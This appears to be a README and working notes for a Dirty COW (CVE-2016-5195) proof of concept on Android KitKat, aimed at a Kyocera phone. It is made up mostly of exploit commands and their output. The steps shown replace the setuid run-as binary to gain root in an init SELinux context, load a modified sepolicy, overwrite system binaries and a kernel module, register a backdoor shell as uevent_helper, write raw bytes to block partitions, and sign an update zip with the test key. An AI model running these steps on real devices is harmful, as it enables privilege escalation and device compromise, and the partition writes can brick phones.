CVE-2016-5195 (dirty cow/dirtycow/dirtyc0w) proof of concept for Android
This is POC of the exec wrapper which can execute app under any user or any SELinux context. Tested on Linux hosts only and on Android 4.4.x KitKat.
selinux.h
header was taken from Android source:
curl 'https://android.googlesource.com/platform/external/libselinux/+/android-4.4.2_r2/include/selinux/selinux.h?format=TEXT' | base64 -d > selinux.h
In case when your Android NDK doesn't contain libselinux.so
library, it should be pulled automatically from your smartphone using adb shell.
You have to download an Android NDK, unpack it and set the path to you Android NDK directory before running make:
export PATH=$PATH:/path/to/android/ndk
dirtycow.c
- executes dirtycow exploit and replaces original/system/bin/run-as
which usessetuid
.run-as.c
- simple wrapper with the rootsetuid
.run.c
- wrapper which support execution with any UID/GID and SELinux context.
run-as.c
doesn't contain run.c
features becasue run-as
binary should be as small as possible.
run.c
binary support the following parameters:
-u
- UID or user name-g
- GID or group name (if not set will use UID)-c
- SELinux context string, i.e.u:r:init:s0
If nothing was set UID and GID will be set to 0 (root), SELinux context will be inherited from the current session.
You have to modify Makefile
in case when you don't compile binaries for the Android 4.4 KitKat and armeabi-v7a
architecture. The command below will compile, push and replace original run-as
binary.
make run
$ adb shell
shell@Android:/ $ /system/bin/run-as /data/local/tmp/run -u root -g root -c u:r:init:s0 id
uid=0(root) gid=0(root) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:init:s0
The last existing problem is to disable SELinux (set it to permissive mode). It should be possible to disable SELinux using the command below:
shell@Android:/ $ run-as /data/local/tmp/run -u system setenforce 0
setenforce: Could not set enforcing status: Invalid argument
but it doesn't work. Even echo 0 > /sys/fs/selinux/enforce
return error:
shell@Android:/ $ run-as /data/local/tmp/run -u system -c u:r:system:s0 id
shell@Android:/ $ echo 0 > /sys/fs/selinux/enforce
1|shell@KC-S701:/ $
setprop ctl.start DAEMON
$ cat /proc/version
Linux version 3.4.0 (build@KYOCERA) (gcc version 4.7 (GCC) ) #1 SMP PREEMPT Wed Apr 1 16:03:40 JST 2015
$ getprop ro.build.fingerprint
KYOCERA/KC-S701/KC-S701:4.4.2/101.0.1830/101.0.1830:user/release-keys
$ getprop ro.build.internalswversion
0.501NZ.01.a
Clone kernel:
git clone https://android.googlesource.com/kernel/msm
cd msm
git checkout -b android-4.4w_r10 android-4.4w_r10
grep -A4 ^VERSION Makefile
looking for `tristate "MMC/SD driver for Ricoh Bay1Controllers (EXPERIMENTAL)"` and `bool "Ricoh MMC Controller Disabler (EXPERIMENTAL)"` inside the `drivers/mmc/host/Kconfig`
$ cat /proc/secboot_mode
0x4e4f4253
Linux kernel contains QFPROM_SECBOOT_ON (0x4E4F4253)
entry (./arch/arm/mach-msm/board-8226.c
, ./lk/app/aboot/aboot.c
).
https://github.com/ghassani/qfprom-kmod
##### reboots to fota even on regular reboot
adb push one_bit.bin /data/local/tmp/
dd if=/data/local/tmp/one_bit.bin of=/dev/block/mmcblk0p33 seek=16 bs=1 count=1
dd if=/data/local/tmp/one_bit.bin of=/dev/block/mmcblk0p33 seek=24 bs=1 count=1
dd if=/data/local/tmp/one_bit.bin of=/dev/block/mmcblk0p33 seek=131088 bs=1 count=1
dd if=/data/local/tmp/one_bit.bin of=/dev/block/mmcblk0p33 seek=131096 bs=1 count=1
sync
echo 3 > /proc/sys/vm/drop_caches
# when work on FS
printf "\x01" | dd of=fotamng.img.test seek=16 bs=1 count=1 conv=notrunc
printf "\x01" | dd of=fotamng.img.test seek=24 bs=1 count=1 conv=notrunc
printf "\x01" | dd of=fotamng.img.test seek=131088 bs=1 count=1 conv=notrunc
printf "\x01" | dd of=fotamng.img.test seek=131096 bs=1 count=1 conv=notrunc
# when work in dload mode
printf "\x01" | dd of=/dev/sdb33 seek=16 bs=1 count=1
printf "\x01" | dd of=/dev/sdb33 seek=24 bs=1 count=1
printf "\x01" | dd of=/dev/sdb33 seek=131088 bs=1 count=1
printf "\x01" | dd of=/dev/sdb33 seek=131096 bs=1 count=1
#####
setprop sys.powerctl reboot,recovery #0x77665502 - works, look for 02556677 in sbl
setprop sys.powerctl reboot,rtc # doesn't work
setprop sys.powerctl reboot,bootloader #0x77665500 - doesn't work, look for 00556677 in sbl
setprop sys.powerctl reboot,oem-1 # works only when auth error is true (dtm can not be loaded), look for 016d656f in sbl
setprop sys.powerctl reboot,edl # emergency download mode - works / QHSUSB__BULK / http://www.androidbrick.com/download/unbrick-qualcomm-qpst-2-7-437-latest-qfil-qualcomm-flasher-2/
http://www.androidbrick.com/ultimate-qualcomm-snapdragon-unbrick-guide-snapdragons-are-unbrickable-qhsusb_dload_qpst_qfil/
setprop sys.powerctl reboot,kdfs_reboot # what is that?
setprop sys.powerctl reboot,dload
CONFIG_MSM_DLOAD_MODE
kernel option. ./arch/arm/mach-msm/restart.c
source.
Works only if set dload_mode_enabled
in kernel. Search for 7D337BE4
and 1A0914CE
in ebl partition (vim ./arch/arm/mach-msm/restart.c +104
).
You can download and modify /sepolicy
file (using ./dirtycow
). When you've modified tje /sepolicy
file using dirtycow you have to run setprop selinux.reload_policy 1
on android device to reload the policy (this will trigger /sbin/ueventd
and /system/bin/installd
restart).
Dump:
export PATH_TO_SEPOLICY_DIR=/path/to/sepolicy/dir
sudo apt-get install docker.io # docker-engine for Ubuntu 16.04
git clone https://github.com/kayrus/sedump
docker build -t sedump docker
docker run -ti --rm -v ${PATH_TO_SEPOLICY_DIR}:/mnt sedump python setools/sedump /mnt/sepolicy -o /mnt/policy.conf
NOTE: sedump
doesn't dump permissive types yet, you have to put them manually, i.e. just copy from https://android.googlesource.com/platform/external/sepolicy/+/android-4.4.2_r2 (grep -h permissive *.te
).
Build it back:
export PATH_TO_SEPOLICY_DIR=/path/to/sepolicy/dir
# sepolicy version 26 is used in KitKat
checkpolicy -M -c 26 -o ${PATH_TO_SEPOLICY_DIR}/sepolicy.new ${PATH_TO_SEPOLICY_DIR}/policy.conf
NOTE: Unfortunately rebuilded sepolicy file is not identical to original one, it has same size though.
Upload:
adb push sepolicy.new /data/local/tmp/
adb shell run-as /data/local/tmp/run -u system -c u:r:init:s0 load_policy /data/local/tmp/sepolicy.new
#adb shell /data/local/tmp/dirtycow /sepolicy /data/local/tmp/sepolicy.new
#adb shell 'run-as /data/local/tmp/run -c u:r:init:s0 setprop selinux.reload_policy 1'
adb push setenforce /data/local/tmp/setenforce
adb shell /data/local/tmp/dirtycow /system/vendor/bin/kfbmpower /data/local/tmp/setenforce
adb shell /system/bin/run-as /data/local/tmp/run setprop kcfactory.kfbm.status kfbm
http://newandroidbook.com/Articles/aboot.html
- sbl1 - secure bootloader partition
Attribute flags: 1000000000000000
means read-only partition.
Now we can analyze logs and create /sepolicy rules:
adb shell dmesg | audit2allow
We have to make sure we have CAP_SYS_ADMIN
capabilities.
$ capsh --decode=$(adb shell cat /proc/1/status | awk '/^CapBnd/ {print $2}')
cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63
$ capsh --decode=$(adb shell cat /proc/self/status | awk '/^CapBnd/ {print $2}')
0xfffffff0000000c0=cap_setgid,cap_setuid,cap_block_suspend,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63
What we can do to get full capabilities?
- Patch kernel sepolicy domain and allow
cp /data/local/tmp/lsh /dev/lsh
cp /data/local/tmp/setenforce /dev/setenforce
echo "/dev/lsh" > /sys/kernel/uevent_helper
echo /data/local/tmp/lsh > /sys/kernel/uevent_helper
echo /dev/setenforce > /sys/kernel/uevent_helper
[13908.111258] no permission in selinux_mount pid=11849 pname=mount realpath=/system dev_name=/dev/block/platform/msm_sdcc.1/by-name/system
vim ./security/selinux/hooks.c +1932
Get cmdline string:
$ run-as cat /proc/cmdline
console=ttyHSL0,115200,n8 no_console_suspend=1 androidboot.console=ttyHSL0 androidboot.hardware=qcom user_debug=31 msm_rtb.filter=0x37 androidboot.emmc=true androidboot.serialno=cc1ece89 androidboot.baseband=msm lowtempmode=0 maxcpus=4
Description:
androidboot.emmc=true
boot instructions are sent to the kernel to check sdcard for a bootable image
adb shell /data/local/tmp/dirtycow /system/lib/modules/pronto/pronto_wlan.ko /data/local/tmp/wlan.ko
sync
echo 3 > /proc/sys/vm/drop_caches
http://winaero.com/blog/unlock-external-sd-card-writing-for-all-apps-in-android-4-4-kitkat/
http://technofaq.org/posts/2014/04/fixing-external-sd-card-write-issue-on-android-kitkat/
Check /res/keys from the recovery initrd:
java -jar dumpkey.jar testkey.x509.pem > mykey
diff -u mykey res/keys
If keys are identical, so let's extract private key from the testdata and sign out ZIP with this key:
openssl pkcs8 -inform DER -nocrypt -in bootable/recovery/testdata/testkey.pk8 -out key.pem
Write zip file and recovery update command:
cp su.zip /cache/su.zip
echo --update_package=/cache/su.zip --show_text > /cache/recovery/command
#or
# echo --show_text > /cache/recovery/command
setprop sys.powerctl reboot,recovery
# or graceful reboot
su
svc power reboot
- sepolicy source
- Exploring Android's SELinux Kernel Policy
- Tool to inject sepolicy rules
- Galaxy S7 Active Temp Root
- https://github.com/freddierice/trident
- Compiling a permissive Android kernel
- http://forum.xda-developers.com/general/security/farm-root-recovery-image-pulling-t3490089
- http://forum.xda-developers.com/r1-hd/how-to/blu-r1-hd-v6-6-dirtycowed-f-amazon-root-t3490882
- https://googleprojectzero.blogspot.de/2016/12/bitunmap-attacking-android-ashmem.html
- https://github.com/vampirefo/android_external_dirtycow
- !!! https://www.thanassis.space/android.html
- https://github.com/baselsayeh/custombackdoorlshserver (
lsh
) - https://github.com/pbatard/bootimg-tools - boot image tools
- https://github.com/hiikezoe - Yet another Kyocera kernel/hack.
- https://dev-nell.com/rpmb-emmc-errors-under-linux.html - what is RPMB partition
- Android build issues: https://www.codeproject.com/questions/884413/android-mk-no-rule-to-make-target-x-so-needed-by-y
- http://www.qtcentre.org/threads/57349-No-rule-to-make-target-error-while-building-for-Android
- http://stackoverflow.com/questions/13139394/building-a-particular-module-in-the-android-source-code
- http://www.modaco.com/forums/topic/376617-we-need-a-fix-for-the-system-write-protected-phones-can-anyone-help/
- http://forum.xda-developers.com/wiki/Bootloader
- http://elinux.org/Android_Fastboot
ps -Z
- list running apps with their SELinux context.ls -Z
- list files with their SELinux file context.- Write the
/cache/recovery/command
file with the--show_text
contents, then runadb reboot recovery
(or in detailssetprop sys.powerctl reboot,recovery
, orecho -n "boot-recovery" > /dev/block/platform/msm_sdcc.1/by-name/misc
- very dangerous, if recovery doesn't work it could issue the bootloop) and Android will be rebooted into recovery menu. It won't allow you to flash unsigned zip files though.
- https://github.com/bkerler/CVE-2016-5195 - very nice hack which uses dirtycow to modify LG's recovery
- kexec to load kernel inside the kernel: https://forum.xda-developers.com/fire-phone/development/dev-building-custom-kernel-kernel-t3195492/
- https://bits-please.blogspot.de/2016/05/war-of-worlds-hijacking-linux-kernel.html?showComment=1463407994828#c7297531813692425019
- https://github.com/Kogorou42/firephone-kexec
- https://forum.xda-developers.com/amazon-fire/orig-development/kexec-module-ford-t3270272